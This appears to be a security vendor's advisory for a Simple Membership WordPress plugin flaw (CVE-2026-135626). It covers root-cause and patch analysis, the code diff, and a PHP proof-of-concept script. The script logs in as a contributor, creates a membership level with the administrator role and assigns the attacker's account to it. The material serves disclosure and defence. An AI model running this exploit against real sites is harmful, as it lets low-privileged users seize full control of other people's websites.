Published : November 26, 2026

CVE-2026-135626: Simple Membership <= 4.9.0 Authenticated (Contributor+) Privilege Escalation to Administrator via 'role' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 269
Vulnerable Version 4.9.0
Patched Version 4.9.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-135626: The Simple Membership plugin for WordPress (versions up to 4.9.0) contains an authenticated privilege escalation vulnerability. The flaw allows users with Contributor-level access or higher to create a membership level with the ‘administrator’ role and assign themselves to it, thereby gaining full administrative control of the site. The vulnerability resides in the plugin’s level management and member role assignment logic. Atomic Edge rates this as high severity (CVSS 7.5) because it leads to complete site compromise.

Root Cause: The vulnerability stems from insufficient validation of the ‘role’ parameter in the SwpmLevelForm::role() method (class.swpm-level-form.php line 33). The code applies only sanitize_text_field() to the user-supplied role, with no allowlist to restrict which WordPress roles can be assigned to a membership level. This allows an attacker to store ‘administrator’ as the role for a new level. When a member is assigned to that level, the update_wp_user_role() function calls $user->add_role() without any role validation, applying the administrator role to the user’s WordPress account. The swpm_membership_level_changed action triggers this role update. The patch addresses this by introducing SwpmMemberUtils::current_user_can_use_role() and current_user_can_use_level() checks, which verify that only users with manage_options capability (site administrators) can assign roles with administrative capabilities (administrator role, or roles with manage_options or promote_users capabilities).

Exploitation: An attacker with Contributor-level access can exploit this if the site owner has lowered the ‘Admin Dashboard Access Permission’ setting from the default manage_options to a lesser capability such as edit_posts, edit_published_posts, or edit_pages. This grants lower-privileged users access to the SWPM admin dashboard. The attacker navigates to the membership level creation form (typically at /wp-admin/admin.php?page=simple_wp_membership_levels) and submits a POST request with the ‘role’ parameter set to ‘administrator’ along with other required fields (level_name, etc.). After creating the level, the attacker assigns their own account to this level via the member management interface or by triggering a level change. The plugin then applies the administrator role to the attacker’s WordPress user account, granting full administrative privileges. The attacker can then install plugins, edit themes, manage users, and take complete control of the site.

Patch Analysis: The patch (version 4.9.1) introduces several security checks. In class.swpm-level-form.php, the role() method now calls SwpmMemberUtils::current_user_can_use_role() to validate that the current user can assign the requested role. In class.swpm-admin-registration.php, checks are added before adding or editing members to ensure the current user can use the selected membership level. In class.swpm-members.php, additional validation prevents moving members to invalid levels or levels with admin-capable roles unless the user has manage_options. New utility methods in class.swpm-utils-member.php (is_admin_capable_role(), current_user_can_use_role(), current_user_can_use_level(), check_and_die_if_level_not_allowed_for_current_user()) implement the core logic. Payment button creation and editing views also check level permissions. These changes ensure that only site administrators can create or assign membership levels with administrative roles, closing the privilege escalation vector.

Impact: Successful exploitation allows an attacker to elevate their WordPress account from Contributor to Administrator, gaining complete control over the site. This includes the ability to install and activate plugins, modify theme files, create or delete users, and access all site data. The vulnerability requires authentication and a non-default configuration (lowered dashboard access permission), but once exploited, it leads to full site compromise. Atomic Edge recommends immediate patching to version 4.9.1 or later.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-membership/classes/class.swpm-admin-registration.php
+++ b/simple-membership/classes/class.swpm-admin-registration.php
@@ -31,6 +31,12 @@
 		if ( $form->is_valid() ) {
 			$member_info = $form->get_sanitized_member_form_data();

+			//Only a site administrator can put a member in a level whose role has admin powers.
+			if ( isset( $member_info['membership_level'] ) && ! SwpmMemberUtils::current_user_can_use_level( $member_info['membership_level'] ) ) {
+				SwpmTransfer::get_instance()->set( 'status', self::level_not_allowed_message() );
+				return;
+			}
+
                         //First, check if email or username belongs to an existing admin user. Bail if it does.
                         SwpmMemberUtils::check_and_die_if_email_belongs_to_admin_user($member_info['email']);
                         SwpmMemberUtils::check_and_die_if_username_belongs_to_admin_user($member_info['user_name']);
@@ -124,6 +130,11 @@
 		$form = new SwpmForm( $member );
 		if ( $form->is_valid() ) {
 			$member         = $form->get_sanitized_member_form_data();
+			//Only a site administrator can move a member to a level whose role has admin powers (checked when the level changes).
+			if ( isset( $member['membership_level'] ) && $member['membership_level'] != $prev_level && ! SwpmMemberUtils::current_user_can_use_level( $member['membership_level'] ) ) {
+				SwpmTransfer::get_instance()->set( 'status', self::level_not_allowed_message() );
+				return;
+			}
 			$plain_password = isset( $member['plain_password'] ) ? $member['plain_password'] : '';

             // Important: Get the currently logged in member's ID before calling the update_wp_user() function (since this function can invalidate the auth cookie if password is updated).
@@ -240,6 +251,15 @@
 		SwpmTransfer::get_instance()->set( 'status', $message );
 	}

+	/** The error message when the current user can't use the selected membership level (see SwpmMemberUtils::current_user_can_use_level()). */
+	private static function level_not_allowed_message() {
+		return array(
+			'succeeded' => false,
+			'message'   => __( 'Please correct the following:', 'simple-membership' ),
+			'extra'     => array( 'membership_level' => __( 'Only a site administrator can put a member in a membership level whose WordPress role has administrator permissions.', 'simple-membership' ) ),
+		);
+	}
+
 	public function handle_manual_approval( $member_id ) {
 		//Check we are on the admin end and user has management permission
 		SwpmMiscUtils::check_user_permission_and_is_admin( 'member edit by admin' );
--- a/simple-membership/classes/class.swpm-level-form.php
+++ b/simple-membership/classes/class.swpm-level-form.php
@@ -31,8 +31,13 @@
     }

     protected function role() {
-        $role = filter_input(INPUT_POST, 'role');
-        $this->sanitized['role'] = sanitize_text_field($role);
+        $role = sanitize_text_field( (string) filter_input(INPUT_POST, 'role') );
+        //Only a site administrator can give a level a role with admin powers (the plugin's dashboard can be opened to other users).
+        if ( ! SwpmMemberUtils::current_user_can_use_role( $role ) ) {
+            $this->errors['role'] = __( 'Only a site administrator can give a membership level a WordPress role with administrator permissions.', 'simple-membership' );
+            return;
+        }
+        $this->sanitized['role'] = $role;
     }

     protected function permissions() {
--- a/simple-membership/classes/class.swpm-members.php
+++ b/simple-membership/classes/class.swpm-members.php
@@ -565,6 +565,12 @@

 			if ( $from_level_id == 'please_select' || $to_level_id == 'please_select' ) {
 				$error_msg = SwpmUtils::_( 'Error! Please select a membership level first.' );
+			} elseif ( 1 === absint( $to_level_id ) || ! SwpmUtils::get_membership_level_row_by_id( absint( $to_level_id ) ) ) {
+				//Members are never put in level 1 (the built-in level used for content protection), or in a level that doesn't exist.
+				$error_msg = __( 'Error! The selected membership level is not valid.', 'simple-membership' );
+			} elseif ( ! SwpmMemberUtils::current_user_can_use_level( $to_level_id ) ) {
+				//Only a site administrator can move members to a level whose role has admin powers.
+				$error_msg = __( 'Error! Only a site administrator can move members to a membership level whose WordPress role has administrator permissions.', 'simple-membership' );
 			}

 			if ( empty( $error_msg ) ) {//No validation errors so go ahead
--- a/simple-membership/classes/class.swpm-utils-member.php
+++ b/simple-membership/classes/class.swpm-utils-member.php
@@ -656,6 +656,69 @@
 	}

 	/**
+	 * True if the WordPress role has admin powers: the administrator role, or a role that can manage the site's
+	 * options (manage_options) or change user roles (promote_users).
+	 *
+	 * @param string $role The role key.
+	 * @return bool
+	 */
+	public static function is_admin_capable_role( $role ) {
+		$role = is_string( $role ) ? trim( $role ) : '';
+		if ( '' === $role ) {
+			return false;
+		}
+		if ( 'administrator' === $role ) {
+			return true;
+		}
+		$role_object = get_role( $role );
+		return $role_object && ( $role_object->has_cap( 'manage_options' ) || $role_object->has_cap( 'promote_users' ) );
+	}
+
+	/**
+	 * True if the current user can give a membership level this WordPress role.
+	 * A role with admin powers can only be used by a site administrator (manage_options). The "Admin Dashboard Access
+	 * Permission" setting can open the plugin's dashboard to other users (example: Editors), who must not be able to
+	 * give anyone (themselves included) admin powers.
+	 *
+	 * @param string $role The role key.
+	 * @return bool
+	 */
+	public static function current_user_can_use_role( $role ) {
+		return current_user_can( 'manage_options' ) || ! self::is_admin_capable_role( $role );
+	}
+
+	/**
+	 * True if the current user can put members in this membership level (or sell it with a payment button), from the
+	 * admin dashboard. Only a site administrator (manage_options) can use a level whose WordPress role has admin powers
+	 * (level 1, and levels the site owner gave such a role). A level that doesn't exist is not checked here.
+	 * Payments for a level are not checked: the site owner set up the level and its payment button.
+	 *
+	 * @param int|string $level_id The membership level ID.
+	 * @return bool
+	 */
+	public static function current_user_can_use_level( $level_id ) {
+		if ( current_user_can( 'manage_options' ) ) {
+			return true;
+		}
+		$level = SwpmUtils::get_membership_level_row_by_id( absint( $level_id ) );
+		if ( ! $level ) {
+			return true;
+		}
+		return ! self::is_admin_capable_role( $level->role );
+	}
+
+	/**
+	 * Stops the request if the current user can't use the membership level (see current_user_can_use_level()).
+	 *
+	 * @param int|string $level_id The membership level ID.
+	 */
+	public static function check_and_die_if_level_not_allowed_for_current_user( $level_id ) {
+		if ( ! self::current_user_can_use_level( $level_id ) ) {
+			wp_die( esc_html__( 'Error! Only a site administrator can use a membership level whose WordPress role has administrator permissions.', 'simple-membership' ) );
+		}
+	}
+
+	/**
 	 * Returns the "WordPress Role After Expiry" value of a membership level.
 	 * An empty value means the feature is not used for that level (no role change on expiry or payment).
 	 *
--- a/simple-membership/ipn/swpm_handle_subsc_ipn.php
+++ b/simple-membership/ipn/swpm_handle_subsc_ipn.php
@@ -213,9 +213,9 @@
 		$data['country']               = isset( $ipn_data['address_country'] ) ? $ipn_data['address_country'] : '';
 		$data['member_since']          = $data['subscription_starts'] = $data['last_accessed'] = SwpmUtils::get_current_date_in_wp_zone();
 		$data['account_state']         = $default_account_status;
-		$reg_code                      = uniqid();
-		$md5_code                      = md5( $reg_code );
-		$data['reg_code']              = $md5_code;
+		//The registration code of the paid registration link: random (not based on the time, so it can't be guessed).
+		//Same format as before (32 lowercase hexadecimal characters).
+		$data['reg_code']              = bin2hex( random_bytes( 16 ) );
 		$data['referrer']              = $data['txn_id'] = '';
 		$data['last_accessed_from_ip'] = isset( $custom_vars['user_ip'] ) ? $custom_vars['user_ip'] : ''; // Save the users IP address.

@@ -239,7 +239,7 @@
 		$reg_url = add_query_arg(
 			array(
 				'member_id' => $member_id,
-				'code' => $md5_code,
+				'code' => $data['reg_code'],
 			),
 			$rego_page_url
 		);
--- a/simple-membership/simple-wp-membership.php
+++ b/simple-membership/simple-wp-membership.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Simple Membership
-Version: 4.9.0
+Version: 4.9.1
 Plugin URI: https://simple-membership-plugin.com/
 Author: smp7, wp.insider
 Author URI: https://simple-membership-plugin.com/
@@ -19,7 +19,7 @@
 }

 //Define plugin constants
-define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.9.0' );
+define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.9.1' );
 define( 'SIMPLE_WP_MEMBERSHIP_DB_VER', '1.6' );
 define( 'SIMPLE_WP_MEMBERSHIP_SITE_HOME_URL', home_url() );
 define( 'SIMPLE_WP_MEMBERSHIP_PATH', dirname( __FILE__ ) . '/' );
--- a/simple-membership/views/payments/admin_create_payment_buttons.php
+++ b/simple-membership/views/payments/admin_create_payment_buttons.php
@@ -13,6 +13,10 @@
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_stripe_sca_subscription_button.php';
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_braintree_buy_now_button.php';

+//A payment for a level gives the level's role: only a site administrator can save a button for a level whose role has admin powers (all button types).
+if ( isset( $_REQUEST['membership_level_id'] ) ) {
+	SwpmMemberUtils::check_and_die_if_level_not_allowed_for_current_user( sanitize_text_field( $_REQUEST['membership_level_id'] ) );
+}
 do_action( 'swpm_create_new_button_process_submission' ); //Addons can use this hook to save the data after the form submit then redirect to the "edit" interface of that newly created button.
 ?>

--- a/simple-membership/views/payments/admin_edit_payment_buttons.php
+++ b/simple-membership/views/payments/admin_edit_payment_buttons.php
@@ -13,6 +13,10 @@
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_stripe_sca_subscription_button.php';
 require_once SIMPLE_WP_MEMBERSHIP_PATH . 'views/payments/payment-gateway/admin_braintree_buy_now_button.php';

+//A payment for a level gives the level's role: only a site administrator can save a button for a level whose role has admin powers (all button types).
+if ( isset( $_REQUEST['membership_level_id'] ) ) {
+	SwpmMemberUtils::check_and_die_if_level_not_allowed_for_current_user( sanitize_text_field( $_REQUEST['membership_level_id'] ) );
+}
 do_action( 'swpm_edit_payment_button_process_submission' ); //Addons can use this hook to save the data after the form submit.
 ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135626 - Simple Membership <= 4.9.0 - Authenticated (Contributor+) Privilege Escalation to Administrator via 'role' Parameter

$target_url = 'http://example.com'; // Configure target WordPress site
$username = 'contributor_user'; // Contributor-level credentials
$password = 'password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in as contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a membership level with administrator role
// This requires the contributor to have access to the SWPM dashboard (requires lowered permission setting)
$level_create_url = $target_url . '/wp-admin/admin.php?page=simple_wp_membership_levels';
$level_data = array(
    'action' => 'create_level',
    'level_name' => 'AdminLevel',
    'role' => 'administrator',
    'permissions' => '', // Additional required fields may vary
    // Add any nonce or other required fields (extracted from the form)
);
curl_setopt($ch, CURLOPT_URL, $level_create_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($level_data));
$response = curl_exec($ch);

// Step 3: Assign self to the newly created level (assuming level ID is 2, adjust as needed)
// This may be done via the member edit page or by triggering a level change.
// For demonstration, we'll simulate assigning via the admin member edit.
$member_id = 1; // Replace with the attacker's user ID
$assign_url = $target_url . '/wp-admin/admin.php?page=simple_wp_membership_members&member_id=' . $member_id;
$assign_data = array(
    'action' => 'edit_member',
    'membership_level' => '2', // The ID of the created level
    // Include other required fields like nonce
);
curl_setopt($ch, CURLOPT_URL, $assign_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($assign_data));
$response = curl_exec($ch);

// Step 4: Verify privilege escalation by accessing admin features
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') !== false) {
    echo 'Privilege escalation successful! User is now an administrator.n';
} else {
    echo 'Privilege escalation failed.n';
}

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.